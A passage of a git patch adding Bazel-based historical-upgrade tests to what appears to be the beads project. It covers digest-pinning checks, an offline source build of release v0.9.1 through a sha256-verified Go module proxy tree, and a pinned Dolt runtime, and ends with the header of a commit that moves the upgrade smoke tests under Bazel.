versions, "SOURCE_TAG_SQLITE_GO_TOOLCHAIN")) + } +} + +// Every pinned release a target runs is the archive lib/binary.sh would have +// downloaded and verified: the catalog's linux/amd64 digest (what +// @bd_releases checks) equals STRICT_RELEASE_SHA256. +func TestMigrationCorpusCatalogDigestsMatchStrictPins(t *testing.T) { + root := sourceRepoRoot(t) + versions := readPolicyFile(t, root, "scripts/migration-test/lib/versions.sh") + var catalog struct { + Versions []struct { + Version string `json:"version"` + GithubRelease *struct { + Asset *struct { + Name string `json:"name"` + Digest string `json:"digest"` + } `json:"linux_amd64_asset"` + } `json:"github_release"` + SourceZip struct { + SHA256 string `json:"sha256"` + } `json:"source_zip"` + } `json:"versions"` + } + if err := json.Unmarshal([]byte(readPolicyFile(t, root, "scripts/migration-test/release-catalog.json")), &catalog); err != nil { + t.Fatal(err) + } + digests, sourceZips := map[string]string{}, map[string]string{} + for _, v := range catalog.Versions { + sourceZips[v.Version] = v.SourceZip.SHA256 + if v.GithubRelease != nil && v.GithubRelease.Asset != nil { + digests[v.Version] = strings.TrimPrefix(v.GithubRelease.Asset.Digest, "sha256:") + } + } + pins := regexp.MustCompile(`\["(v[^|"]+)\|linux\|amd64"\]="([0-9a-f]{64})"`).FindAllStringSubmatch(versions, -1) + if len(pins) == 0 { + t.Fatal("versions.sh has no linux/amd64 STRICT_RELEASE_SHA256 pins") + } + for _, p := range pins { + if got := digests[p[1]]; got != p[2] { + t.Errorf("%s: catalog linux_amd64 digest %q, versions.sh STRICT_RELEASE_SHA256 %q", p[1], got, p[2]) + } + } + + // The source-tag build's own module zip is the catalog's source_zip. + var lock struct { + Module string `json:"module"` + Version string `json:"version"` + Modules []struct { + Path string `json:"path"` + Version string `json:"version"` + ZipSHA256 string `json:"zip_sha256"` + } `json:"modules"` + } + if err := json.Unmarshal([]byte(readPolicyFile(t, root, "tests/migration/source_tag_modules.json")), &lock); err != nil { + t.Fatal(err) + } + if want := bashScalar(t, versions, "SOURCE_TAG_SQLITE_VERSION"); lock.Version != want || lock.Module != bashScalar(t, versions, "SOURCE_TAG_SQLITE_MODULE") { + t.Errorf("source_tag_modules.json pins %s@%s, want %s@%s", lock.Module, lock.Version, bashScalar(t, versions, "SOURCE_TAG_SQLITE_MODULE"), want) + } + found := false + for _, m := range lock.Modules { + if m.Path == lock.Module && m.Version == lock.Version { + found = true + if m.ZipSHA256 != sourceZips[lock.Version] { + t.Errorf("source_tag_modules.json %s zip %q, catalog source_zip %q", lock.Version, m.ZipSHA256, sourceZips[lock.Version]) + } + } + } + if !found { + t.Errorf("source_tag_modules.json does not pin %s@%s itself", lock.Module, lock.Version) + } +} + +// The external Dolt runtime the server-Dolt and wisp-plane lanes run is the +// one versions.sh pins: same release, same archive digest. +func TestMigrationDoltRuntimeMatchesVersionsSh(t *testing.T) { + root := sourceRepoRoot(t) + versions := readPolicyFile(t, root, "scripts/migration-test/lib/versions.sh") + version := strings.TrimPrefix(bashScalar(t, versions, "DOLT_TEST_RUNTIME_VERSION"), "v") + digest := bashScalar(t, versions, "DOLT_TEST_RUNTIME_SHA256") + + module := readPolicyFile(t, root, "MODULE.bazel") + m := regexp.MustCompile(`(?s)name = "dolt_test_runtime_linux_amd64",\s*platform = "linux-amd64",\s*version = "([^"]+)",`).FindStringSubmatch(module) + if m == nil || m[1] != version { + t.Errorf("MODULE.bazel's dolt_test_runtime_linux_amd64 = %v, want version %q", m, version) + } + bzl := readPolicyFile(t, root, "tools/bazel/dolt.bzl") + d := regexp.MustCompile(`(?s)"` + regexp.QuoteMeta(version) + `": \{\s*"linux-amd64": "([0-9a-f]{64})",`).FindStringSubmatch(bzl) + if d == nil || d[1] != digest { + t.Errorf("tools/bazel/dolt.bzl DOLT_SHA256[%q][linux-amd64] = %v, want %s", version, d, digest) + } +} diff --git a/tests/migration/BUILD.bazel b/tests/migration/BUILD.bazel new file mode 100644 index 000000000..4d5bf1f21 --- /dev/null +++ b/tests/migration/BUILD.bazel @@ -0,0 +1,131 @@ +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") +load(":defs.bzl", "historical_upgrade_tests") + +# The historical-upgrade corpus (formerly migration-test.yml), one target per +# reviewed release: historical_upgrade_test.sh runs +# scripts/migration-test/historical-dolt-upgrade-test.sh --version +# against the non-race bd_for_tests. Every historical bd a release's lanes run +# is pinned: the published releases from the release catalog (@bd_releases, +# sha256-verified when Bazel fetches them), the source-tag v0.9.1 built +# offline below (:bd_source_tag). Where the lanes host a server-Dolt fixture +# or read the wisp plane, the pinned external Dolt runtime +# (@dolt_test_runtime_linux_amd64) is DOLT_BIN. Nothing is downloaded at test +# time, so the targets run remotely like any other, in the PR-core lane +# (bazel-test), and a target re-runs only when the candidate, the harness or +# a pinned binary changes. +# +# _CORPUS must equal scripts/migration-test/lib/versions.sh's corpus (the +# SQLite bridges, HISTORICAL_DOLT_VERSIONS and EMBEDDED_DOLT_VERSIONS), and +# _DOLT_RUNTIME its HISTORICAL_DOLT_VERSIONS plus WISP_PLANE_VERSIONS +# (scripts/migration_corpus_bazel_test.go). _HELPERS are the releases a lane +# runs besides its own: the classic SQLite bridge (v0.49.6) and the +# server-Dolt canonicalizer (v0.62.0). +_SOURCE_TAG = "v0.9.1" + +_CORPUS = [ + "v0.9.1", + "v0.17.0", + "v0.49.6", + "v0.50.3", + "v0.55.4", + "v0.56.1", + "v0.57.0", + "v0.62.0", + "v0.63.3", + "v1.0.0", + "v1.0.1", + "v1.1.0", + "v1.1.2", + "v1.2.2", +] + +_DOLT_RUNTIME = [ + "v0.55.4", + "v0.56.1", + "v0.57.0", + "v0.62.0", + "v1.0.1", + "v1.1.0", + "v1.1.2", + "v1.2.2", +] + +_HELPERS = [ + "v0.49.6", + "v0.62.0", +] + +# Tags: +# pr-core-only: shell tests against the release-shaped bd_for_tests (no +# integration tag); the integration lane, which requires Go testcases, +# leaves them out. +historical_upgrade_tests( + corpus = _CORPUS, + dolt_runtime = _DOLT_RUNTIME, + helpers = _HELPERS, + source_tag = _SOURCE_TAG, + source_tag_bin = ":bd_source_tag", + tags = ["pr-core-only"], +) + +exports_files( + ["source_tag_modules.json"], + visibility = ["//visibility:public"], +) + +# The source-tag SQLite release (v0.9.1: no release asset; its CLI reports +# 0.9.0 (dev)), built from its module source with Go 1.25.0 and CGO like +# lib/binary.sh's build_verified_v091_source_binary, but offline: the module +# zips and go.mod files come from source_tag_modules.json (the release's own +# zip is the catalog's source_zip), and go checks them against the release's +# go.sum. Regenerate the lock with gen_source_tag_lock.py. +genrule( + name = "bd_source_tag", + srcs = [ + "@bd_source_tag_goproxy//:proxy", + "@go_1_25_0_linux_amd64//:go/bin/go", + "@go_1_25_0_linux_amd64//:sdk", + ], + outs = ["bd_source_tag/bd"], + cmd = "$(execpath build_source_tag.sh) $@ $(execpath @go_1_25_0_linux_amd64//:go/bin/go) " + + "$$(echo $(execpaths @bd_source_tag_goproxy//:proxy) | cut -d' ' -f1) " + + "github.com/steveyegge/beads v0.9.1 go1.25.0", + target_compatible_with = LINUX_AMD64, + tools = ["build_source_tag.sh"], +) + +# The public sealed-copy SQLite bridge's fast safety checks (fake binaries +# only), which run.sh ran before every release. +# +# Tags: +# pr-core-only: a shell test; the integration lane, which requires Go +# testcases, leaves it out. +sh_test( + name = "legacy_bridge_test", + srcs = ["legacy_bridge_test.sh"], + data = ["//scripts:migration_harness"], + tags = ["pr-core-only"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/migration/build_source_tag.sh b/tests/migration/build_source_tag.sh new file mode 100755 index 000000000..21bcb1aad --- /dev/null +++ b/tests/migration/build_source_tag.sh @@ -0,0 +1,38 @@ +#!/usr/bin/env bash +# build-tags: allow-bare (builds a historical release from its own module +# source with its own go.mod, exactly as lib/binary.sh does; that release +# predates gms_pure_go and must not be built with today's tags) +# Builds a historical bd from its module source, offline, the way +# scripts/migration-test/lib/binary.sh's build_verified_v091_source_binary +# does with network access: `go mod download` the module, then `go build +# -trimpath ./cmd/bd` in its directory with CGO and a writable copy of its +# go.mod, using the Go release it was qualified on. +# +# Usage: build_source_tag.sh +# Paths are execroot-relative ($(execpath ...)). GOPROXY is the pinned +# file:// tree (tools/bazel/go_module_proxy.bzl), so every module is a +# sha256-verified input, and go checks each dependency against the module's +# go.sum; GOSUMDB is off because there is no network to reach it. +set -euo pipefail +out="$1" go_bin="$2" proxy_file="$3" module="$4" version="$5" go_version="$6" +root="$PWD" +tmp="$(mktemp -d)" +trap 'chmod -R u+w "$tmp" 2>/dev/null || true; rm -rf "$tmp"' EXIT +export GOROOT="$root/${go_bin%/bin/go}" +export PATH="$GOROOT/bin:$PATH" +export HOME="$tmp/home" GOPATH="$tmp/gopath" GOMODCACHE="$tmp/mod" GOCACHE="$tmp/cache" +export GOPROXY="file://$root/${proxy_file%%/proxy/*}/proxy" GOSUMDB=off GONOSUMDB= GOPRIVATE= GONOPROXY= +export GOFLAGS=-modcacherw GOWORK=off GOTOOLCHAIN=local GO111MODULE=on +export CGO_ENABLED=1 GOOS=linux GOARCH=amd64 +mkdir -p "$HOME" "$tmp/scratch" +got="$(cd "$tmp/scratch" && go env GOVERSION)" +if [[ "$got" != "$go_version" ]]; then + echo "build_source_tag: $module@$version needs $go_version, the pinned SDK is $got" >&2 + exit 1 +fi +(cd "$tmp/scratch" && go mod download "$module@$version") +src="$GOMODCACHE/$module@$version" +cp -f "$src/go.mod" "$tmp/source.mod" +cp -f "$src/go.sum" "$tmp/source.sum" +chmod u+w "$tmp/source.mod" "$tmp/source.sum" +(cd "$src" && go build -trimpath -modfile="$tmp/source.mod" -o "$root/$out" ./cmd/bd) diff --git a/tests/migration/defs.bzl b/tests/migration/defs.bzl new file mode 100644 index 000000000..78823a465 --- /dev/null +++ b/tests/migration/defs.bzl @@ -0,0 +1,52 @@ +"""One Bazel test per historical-upgrade corpus release (see BUILD.bazel).""" + +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") +load("//tools/bazel:dolt.bzl", "hermetic_bin") + +_DOLT_RUNTIME_LABEL = "@dolt_test_runtime_linux_amd64//:dolt" + +def historical_upgrade_tests(corpus, dolt_runtime, helpers, source_tag, source_tag_bin, tags): + """Declares historical_upgrade__test and its release directory per corpus release. + + Args: + corpus: every release the corpus upgrades from. + dolt_runtime: the releases whose lanes need the external Dolt runtime. + helpers: releases every lane may run besides its own (bridges). + source_tag: the release built from source (no @bd_releases entry). + source_tag_bin: the label of that source build. + tags: the tests' tags. + """ + for v in corpus: + suffix = v.replace(".", "_") + releases = {r: None for r in [v] + helpers if r != source_tag} + hermetic_bin( + name = "releases_" + suffix, + target_compatible_with = LINUX_AMD64, + tools = {"@bd_releases//:" + r: r for r in sorted(releases.keys())}, + ) + data = [ + ":releases_" + suffix, + "//cmd/bd:bd_for_tests", + "//scripts:migration_harness", + ] + env = { + "CANDIDATE_BIN": "$(rootpath //cmd/bd:bd_for_tests)", + "HISTORICAL_RELEASE_DIR": "{}/releases_{}".format(native.package_name(), suffix), + } + if v in dolt_runtime: + data.append(_DOLT_RUNTIME_LABEL) + env["DOLT_BIN"] = "$(rootpath {})".format(_DOLT_RUNTIME_LABEL) + if v == source_tag: + data.append(source_tag_bin) + env["SOURCE_TAG_SQLITE_BIN"] = "$(rootpath {})".format(source_tag_bin) + sh_test( + name = "historical_upgrade_{}_test".format(suffix), + size = "large", + srcs = ["historical_upgrade_test.sh"], + args = [v], + data = data, + env = env, + tags = tags, + target_compatible_with = LINUX_AMD64, + ) diff --git a/tests/migration/gen_source_tag_lock.py b/tests/migration/gen_source_tag_lock.py new file mode 100644 index 000000000..f4bb82ac7 --- /dev/null +++ b/tests/migration/gen_source_tag_lock.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +"""Regenerate source_tag_modules.json: the Go module proxy files that build the +source-tag SQLite release (v0.9.1, which has no release asset) offline. + +Usage: python3 tests/migration/gen_source_tag_lock.py + +It fetches the release's module zip from proxy.golang.org, checks it against +the release catalog's source_zip sha256, reads the go.sum inside it, and +records the sha256 of every .mod and .zip that go.sum names (plus the +release's own .mod and .zip). tools/bazel/go_module_proxy.bzl downloads +exactly these files, verified, into a file:// GOPROXY tree; go then checks +every dependency against that go.sum as well. Network required; run it by +hand when the source-tag release changes, never in CI. +""" + +import hashlib +import io +import json +import os +import sys +import urllib.request +import zipfile + +ROOT = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +CATALOG = os.path.join(ROOT, "scripts", "migration-test", "release-catalog.json") +OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "source_tag_modules.json") +PROXY = "https://proxy.golang.org" +MODULE = "github.com/steveyegge/beads" +VERSION = "v0.9.1" + + +def escape(path): + """Module path case-encoding of the proxy protocol (go.dev/ref/mod#goproxy-protocol).""" + return "".join("!" + c.lower() if c.isupper() else c for c in path) + + +def fetch(url): + with urllib.request.urlopen(url, timeout=60) as resp: + return resp.read() + + +def sha256(data): + return hashlib.sha256(data).hexdigest() + + +def main(): + with open(CATALOG) as f: + catalog = json.load(f) + entry = next(e for e in catalog["versions"] if e["version"] == VERSION) + base = f"{PROXY}/{escape(MODULE)}/@v/{VERSION}" + zip_data = fetch(base + ".zip") + if sha256(zip_data) != entry["source_zip"]["sha256"]: + sys.exit(f"{MODULE}@{VERSION}.zip does not match the catalog's source_zip sha256") + gosum = zipfile.ZipFile(io.BytesIO(zip_data)).read(f"{MODULE}@{VERSION}/go.sum").decode() + + wants = {} # (path, version) -> needs zip + for line in gosum.splitlines(): + fields = line.split() + if len(fields) != 3: + continue + path, version = fields[0], fields[1] + if version.endswith("/go.mod"): + wants.setdefault((path, version[: -len("/go.mod")]), False) + else: + wants[(path, version)] = True + + modules = [{ + "path": MODULE, + "version": VERSION, + "mod_sha256": sha256(fetch(base + ".mod")), + "zip_sha256": entry["source_zip"]["sha256"], + }] + for (path, version), needs_zip in sorted(wants.items()): + url = f"{PROXY}/{escape(path)}/@v/{version}" + m = {"path": path, "version": version, "mod_sha256": sha256(fetch(url + ".mod"))} + if needs_zip: + m["zip_sha256"] = sha256(fetch(url + ".zip")) + modules.append(m) + print(f"{path}@{version}", file=sys.stderr) + + with open(OUT, "w") as f: + json.dump({"module": MODULE, "version": VERSION, "modules": modules}, f, indent=2, sort_keys=True) + f.write("\n") + + +if __name__ == "__main__": + main() diff --git a/tests/migration/historical_upgrade_test.sh b/tests/migration/historical_upgrade_test.sh new file mode 100755 index 000000000..6f3be5f0d --- /dev/null +++ b/tests/migration/historical_upgrade_test.sh @@ -0,0 +1,29 @@ +#!/usr/bin/env bash +# One release of the historical-upgrade corpus (formerly migration-test.yml's +# `scripts/migration-test/run.sh --version ` loop), as a Bazel test: +# scripts/migration-test/historical-dolt-upgrade-test.sh against the +# candidate, with every historical binary it runs pre-pinned in +# HISTORICAL_RELEASE_DIR (lib/binary.sh downloads nothing then), the +# source-built v0.9.1 as SOURCE_TAG_SQLITE_BIN for that release, and, for the +# releases that need it, the pinned external Dolt runtime as DOLT_BIN. +# +# The first argument is the release. The BUILD file passes the paths as +# runfiles-relative paths ($(rootpath ...), relative to the working +# directory Bazel starts the test in); they are made absolute here, before +# the harness changes directory. Any further arguments (a lane's +# --test_arg flags, meant for Go test binaries) are ignored. +set -euo pipefail +release="$1" +abs() { printf '%s/%s\n' "$PWD" "$1"; } +CANDIDATE_BIN="$(abs "${CANDIDATE_BIN:?}")" +HISTORICAL_RELEASE_DIR="$(abs "${HISTORICAL_RELEASE_DIR:?}")" +export CANDIDATE_BIN HISTORICAL_RELEASE_DIR +if [[ -n "${DOLT_BIN:-}" ]]; then + DOLT_BIN="$(abs "$DOLT_BIN")" + export DOLT_BIN +fi +if [[ -n "${SOURCE_TAG_SQLITE_BIN:-}" ]]; then + SOURCE_TAG_SQLITE_BIN="$(abs "$SOURCE_TAG_SQLITE_BIN")" + export SOURCE_TAG_SQLITE_BIN +fi +exec scripts/migration-test/historical-dolt-upgrade-test.sh --version "$release" diff --git a/tests/migration/legacy_bridge_test.sh b/tests/migration/legacy_bridge_test.sh new file mode 100755 index 000000000..3be2d02f9 --- /dev/null +++ b/tests/migration/legacy_bridge_test.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash +# The public SQLite bridge's fast safety checks (fake binaries only), which +# scripts/migration-test/run.sh runs before the corpus. Runs the harness in +# place, so it finds its siblings (lib/, ../migrate-legacy-to-current.sh); +# arguments are ignored. +set -euo pipefail +exec scripts/migration-test/legacy-bridge-test.sh diff --git a/tests/migration/source_tag_modules.json b/tests/migration/source_tag_modules.json new file mode 100644 index 000000000..f3366e361 --- /dev/null +++ b/tests/migration/source_tag_modules.json @@ -0,0 +1,166 @@ +{ + "module": "github.com/steveyegge/beads", + "modules": [ + { + "mod_sha256": "7951983a1500203e1281e3e60e113105ef53a8f69e02d2aca3c2c190f77abada", + "path": "github.com/steveyegge/beads", + "version": "v0.9.1", + "zip_sha256": "a45a701fd720b89c08ce0993cb6771c5d3300dc8f96f5669e8a85aa30bc80de1" + }, + { + "mod_sha256": "bb81a9e2d14d9a586f0591853bdaad230d8cdf0d8d6ffa71dddae249ad573cc9", + "path": "github.com/cpuguy83/go-md2man/v2", + "version": "v2.0.6" + }, + { + "mod_sha256": "8732da74f45ec4c0ea5a7a3072c4d458aafb6102af75155d459dcb70afce6ae6", + "path": "github.com/fatih/color", + "version": "v1.18.0", + "zip_sha256": "4dc6907b7f6807b37c21ad527d966437d398f03472115f471eaa8fe5875363d3" + }, + { + "mod_sha256": "da3713c5c57d252d25520de0e6b397b033858b3aff5dddf21164abe3297c9ff9", + "path": "github.com/fsnotify/fsnotify", + "version": "v1.9.0", + "zip_sha256": "94e64824b23591b7aa504e3321d5ec3f57de88f4d49882eaefbbf6820dab746e" + }, + { + "mod_sha256": "5393fe364f1a200c6a84ee2c7bf727f02c9e0b1f844ca13b188ca925f4718b08", + "path": "github.com/go-viper/mapstructure/v2", + "version": "v2.4.0", + "zip_sha256": "33e0398e34eca4b1b8c9d91318dd3be871811aee6e2ababc82c02280dcca296a" + }, + { + "mod_sha256": "1c1b15911aa8a0bd5cd0f6670ec23d1086496f3615fdf53306aff2b476ce9be1", + "path": "github.com/inconshreveable/mousetrap", + "version": "v1.1.0", + "zip_sha256": "526674de624d7db108cfe7653ef110ccdfd97bc85026254224815567928ed243" + }, + { + "mod_sha256": "d6743ae2eae65716122f12b42c9f3f83a805c0ae32bd3c553d4a6f1bcb9243a5", + "path": "github.com/mattn/go-colorable", + "version": "v0.1.13", + "zip_sha256": "08be322dcc584a9fcfde5caf0cf878b4e11cd98f252e32bc704e92c5a4ba9d15" + }, + { + "mod_sha256": "714766ec82d67db895ade8af6b8054ad430c3cea5e15b3a888f23ed2f3e1b863", + "path": "github.com/mattn/go-isatty", + "version": "v0.0.16" + }, + { + "mod_sha256": "1eeabef1b4d98db73c6c2073289163649bc9a044552aca86b9d592fe84eaa1c8", + "path": "github.com/mattn/go-isatty", + "version": "v0.0.20", + "zip_sha256": "f2d5f89ca451577e17464b9bb596dc0d0ecececb5eaa63622c41b57cd0b7b8cc" + }, + { + "mod_sha256": "bc9235ee6e4e60243f1e7dcacf0caa4d480afcdf06ed78e481fd127e9e3119df", + "path": "github.com/mattn/go-sqlite3", + "version": "v1.14.32", + "zip_sha256": "c70101000256656bc0b7286807cf177852c753a001a3aa3c55d5373575fb81aa" + }, + { + "mod_sha256": "72b2ddd20583039d110a50147c63fd1e419a5c4acc1ba8f28881f1df4486abae", + "path": "github.com/pelletier/go-toml/v2", + "version": "v2.2.4", + "zip_sha256": "82162be7b85077f3be49bfe0f1e01f308b9c9554c72a980a22a34432f94885f0" + }, + { + "mod_sha256": "c39547cce6e866e8cfa395d2937bce30801cd07f0b901c2133248f1fba12f58d", + "path": "github.com/russross/blackfriday/v2", + "version": "v2.1.0" + }, + { + "mod_sha256": "61f9956a081c0abc80468039819c9bc5c1d51236b48f864bce6540cf0e5cbfa4", + "path": "github.com/sagikazarmark/locafero", + "version": "v0.11.0", + "zip_sha256": "6c2a9bdf9567f63caebf47694d94acd4350b1d4d69f13c3188f4e7e82939f6a5" + }, + { + "mod_sha256": "1a03e9553a071b4371a6e72483b440fda7b591693403531d090286da73c7d1fc", + "path": "github.com/sourcegraph/conc", + "version": "v0.3.1-0.20240121214520-5f936abd7ae8", + "zip_sha256": "6db56fe285f78ba994a77d676d790b1db85a47cc8948a42d4c2f6ca6200b9413" + }, + { + "mod_sha256": "b9ecbcbeeccb9da252f2b75a7f05a10c21f874a448a5e1294f115e47ba893e22", + "path": "github.com/spf13/afero", + "version": "v1.15.0", + "zip_sha256": "d03a0bbce87eeaa1c23f0c0276707bb2d59f46efee875d7d7f1d570201be6e1f" + }, + { + "mod_sha256": "fef5e4baa2ea6235860469e13b663f5fb26a7047983e05fdb3bf60ea843530f1", + "path": "github.com/spf13/cast", + "version": "v1.10.0", + "zip_sha256": "7c7ba27f9979ada980c2a69f6b2fdf7b4ce1f2b766e245c0a4716f546ad7ddce" + }, + { + "mod_sha256": "a501ef186772adafdaabb7aa78623b691890e87accd0715674e69949da6b586e", + "path": "github.com/spf13/cobra", + "version": "v1.10.1", + "zip_sha256": "00955783267c9ced54274df456377a15bc1b658362f93f85dfda0708b54f9a28" + }, + { + "mod_sha256": "16c6dfc0eb58eb3c9113ce197d460c6725c647e4688ac26d31c8ed69f1ebbc68", + "path": "github.com/spf13/pflag", + "version": "v1.0.10", + "zip_sha256": "a246b8c9d3daa87d6c634cdfee1bdf7fa53d5817eeef4fa0c6da43edd12de4ca" + }, + { + "mod_sha256": "16c6dfc0eb58eb3c9113ce197d460c6725c647e4688ac26d31c8ed69f1ebbc68", + "path": "github.com/spf13/pflag", + "version": "v1.0.9" + }, + { + "mod_sha256": "671ff6030ff3b0300240c833789512a5b8819cee89a819db7bb20a6a44906b29", + "path": "github.com/spf13/viper", + "version": "v1.21.0", + "zip_sha256": "4096e4ccdbb74027c49f0dfede6d67193053b0d1c1ecce57543cf3dacc7b249e" + }, + { + "mod_sha256": "8b2d8bc78b5def106360867a82ad82c5a4e9de93542f0a207087bb38384f55bf", + "path": "github.com/subosito/gotenv", + "version": "v1.6.0", + "zip_sha256": "142db3dd2328e744c157e85cf3291d027013b79f92a45984f860fe38bc0f1f8d" + }, + { + "mod_sha256": "2989f8b800605890ad40cf49109b0b6a972bda79d92df236d40ddb798093127e", + "path": "go.yaml.in/yaml/v3", + "version": "v3.0.4", + "zip_sha256": "0317dae56eaa9e9954467c8768fd6a89ba2005f1534e2c26fce5163ad8d2ef31" + }, + { + "mod_sha256": "f033333096fe198f3151deed93f2deba74e50bbfe7739134045bc3b7ce4a5024", + "path": "golang.org/x/sys", + "version": "v0.0.0-20220811171246-fbc7d0a398ab" + }, + { + "mod_sha256": "d227b325f621f4ebe28d39ba773ea99b870f393b7c09c34592c365b16dd560de", + "path": "golang.org/x/sys", + "version": "v0.29.0", + "zip_sha256": "1d759c017d09328a4dacdd4a1a0170cf21641995c6e3ca1f96213369d73c6846" + }, + { + "mod_sha256": "f033333096fe198f3151deed93f2deba74e50bbfe7739134045bc3b7ce4a5024", + "path": "golang.org/x/sys", + "version": "v0.6.0" + }, + { + "mod_sha256": "5114acdbfab7e7a097808d0bd4cdf06e3a3043e4bc5e4e4974715d664502698a", + "path": "golang.org/x/text", + "version": "v0.28.0", + "zip_sha256": "46259e1416ae7ec6adf1867c5f9fab32af0476a148e3c95f1dfbb134f4acf48d" + }, + { + "mod_sha256": "5c306e0d633cd66a11b40e2e5fbbc6da42110db7d72ea3c1524ceb45ee40c33f", + "path": "gopkg.in/check.v1", + "version": "v0.0.0-20161208181325-20d25e280405" + }, + { + "mod_sha256": "21579860a20306fcf43b1bd234d1fba319499c77611b71c05f9bf3ba90dab939", + "path": "gopkg.in/yaml.v3", + "version": "v3.0.1" + } + ], + "version": "v0.9.1" +} diff --git a/tools/bazel/dolt.bzl b/tools/bazel/dolt.bzl index c387da81a..13b1f884c 100644 --- a/tools/bazel/dolt.bzl +++ b/tools/bazel/dolt.bzl @@ -18,6 +18,12 @@ DOLT_VERSION = "2.2.0" # sha256 alone). They match the asset digests GitHub reports for the release # (`gh api repos/dolthub/dolt/releases/tags/v`). DOLT_SHA256 = { + # The migration corpus's external Dolt runtime (DOLT_TEST_RUNTIME_VERSION + # and _SHA256 in scripts/migration-test/lib/versions.sh), linux/amd64 + # only: @dolt_test_runtime_linux_amd64 in MODULE.bazel. + "2.1.8": { + "linux-amd64": "f66318f08ed66e409fc39363ae0fff8ce6fbf6dba9f5bac632b91527b9632a74", + }, "2.2.0": { "darwin-amd64": "d40b57933e2a2c025a5a3c269eb87594b1aa71ead16c9902213d521529a19b02", "darwin-arm64": "c6737dc2c5806e2eeef4839ad76c28167c861f878af3071df1242a6589d81267", @@ -34,13 +40,14 @@ exports_files(["dolt"]) def _dolt_release_impl(rctx): platform = rctx.attr.platform - digests = DOLT_SHA256.get(DOLT_VERSION) + version = rctx.attr.version or DOLT_VERSION + digests = DOLT_SHA256.get(version) if digests == None: - fail("DOLT_SHA256 has no digests for DOLT_VERSION {}".format(DOLT_VERSION)) + fail("DOLT_SHA256 has no digests for dolt {}".format(version)) if platform not in digests: - fail("no pinned dolt {} release for platform {}".format(DOLT_VERSION, platform)) + fail("no pinned dolt {} release for platform {}".format(version, platform)) url = "https://github.com/dolthub/dolt/releases/download/v{v}/dolt-{p}.tar.gz".format( - v = DOLT_VERSION, + v = version, p = platform, ) rctx.download_and_extract( @@ -59,8 +66,11 @@ dolt_release = repository_rule( mandatory = True, doc = "Release platform suffix, for example linux-amd64.", ), + "version": attr.string( + doc = "Dolt release to fetch (a DOLT_SHA256 key); empty means DOLT_VERSION.", + ), }, - doc = "Downloads the pinned Dolt CLI release for one platform and exports its `dolt` binary.", + doc = "Downloads a pinned Dolt CLI release for one platform and exports its `dolt` binary.", ) def _hermetic_bin_impl(ctx): diff --git a/tools/bazel/go_module_proxy.bzl b/tools/bazel/go_module_proxy.bzl new file mode 100644 index 000000000..ce093013b --- /dev/null +++ b/tools/bazel/go_module_proxy.bzl @@ -0,0 +1,55 @@ +"""An offline Go module proxy tree, for building a pinned historical module. + +go_module_proxy reads a lock file (tests/migration/source_tag_modules.json, +written by tests/migration/gen_source_tag_lock.py) and downloads every .mod +and .zip it lists from proxy.golang.org, each verified against its recorded +sha256, into proxy//@v/.{mod,zip} (plus a .info naming the +version): the layout a +`GOPROXY=file:///proxy` reads. A build action then needs no network, +and go additionally checks every dependency against the module's own go.sum. +The repository exports the tree as :proxy. +""" + +_PROXY = "https://proxy.golang.org" + +_BUILD = """\ +filegroup( + name = "proxy", + srcs = glob(["proxy/**"]), + visibility = ["//visibility:public"], +) +""" + +def _escape(path): + # Module path case-encoding (go.dev/ref/mod#goproxy-protocol). + out = "" + for c in path.elems(): + out += "!" + c.lower() if c.isupper() else c + return out + +def _go_module_proxy_impl(rctx): + lock = json.decode(rctx.read(rctx.attr.lock)) + for m in lock["modules"]: + rel = "{}/@v/{}".format(_escape(m["path"]), m["version"]) + for ext, key in ((".mod", "mod_sha256"), (".zip", "zip_sha256")): + if key not in m: + continue + url = "{}/{}{}".format(_PROXY, rel, ext) + rctx.download( + url = url, + output = "proxy/{}{}".format(rel, ext), + sha256 = m[key], + canonical_id = url, + ) + # .info only names the version (the proxy's also carries a commit + # time); `go mod download module@version` reads it, the build does not. + rctx.file("proxy/{}.info".format(rel), json.encode({"Version": m["version"]}) + "\n") + rctx.file("BUILD.bazel", _BUILD) + +go_module_proxy = repository_rule( + implementation = _go_module_proxy_impl, + attrs = { + "lock": attr.label(mandatory = True, allow_single_file = True, doc = "The module lock JSON."), + }, + doc = "Downloads the sha256-pinned module proxy files a lock file lists into a file:// GOPROXY tree.", +) From bb9b9e502023f8bbd115961f55f8ff724e07d78b Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 02:49:39 +0000 Subject: [PATCH 141/325] ci(bazel): run the upgrade smoke tests under Bazel; retire cross-version-smoke.yml (#7331) cross-version-smoke.yml resolved the newest 5 GitHub releases (30 on a tag push) with `gh release list`, then built the candidate and downloaded each release on a GitHub runner for scripts/upgrade-smoke-test.sh. //tests/upgrade_smoke has one target per release in the newest 30 the release catalog pins a linux/amd64 asset for (@bd_releases//:versions.bzl): upgrade_smoke__test runs the script against the non-race bd_for_tests with that release pinned as PREV_BIN (sha256-verified when Bazel fetches it; the script checks it reports the release and downloads nothing). A release added to the catalog joins the window. Tagged pr-core-only, so bazel-test (not the integration lane) runs them remotely on every PR, merge group and push, cached until the candidate, the script or the release changes. The tested set is now reviewed rather than resolved at run time: stable releases from the catalog, where the workflow took GitHub releases including prereleases. cross-version-smoke.yml and the F7c checks of its chunk fold, path filter, runners and binary cache are removed (the path-filter and binary-cache checks had no other workflow left). Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/cross-version-smoke.yml | 175 ------------ BUILD.bazel | 2 + cmd/bd/BUILD.bazel | 1 + engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 30 +-- engdocs/CI_TEST_SURFACE_AUDIT.md | 2 +- engdocs/ICU-POLICY.md | 2 +- internal/httpclient/wire/skew_test.go | 2 +- scripts/BUILD.bazel | 5 + 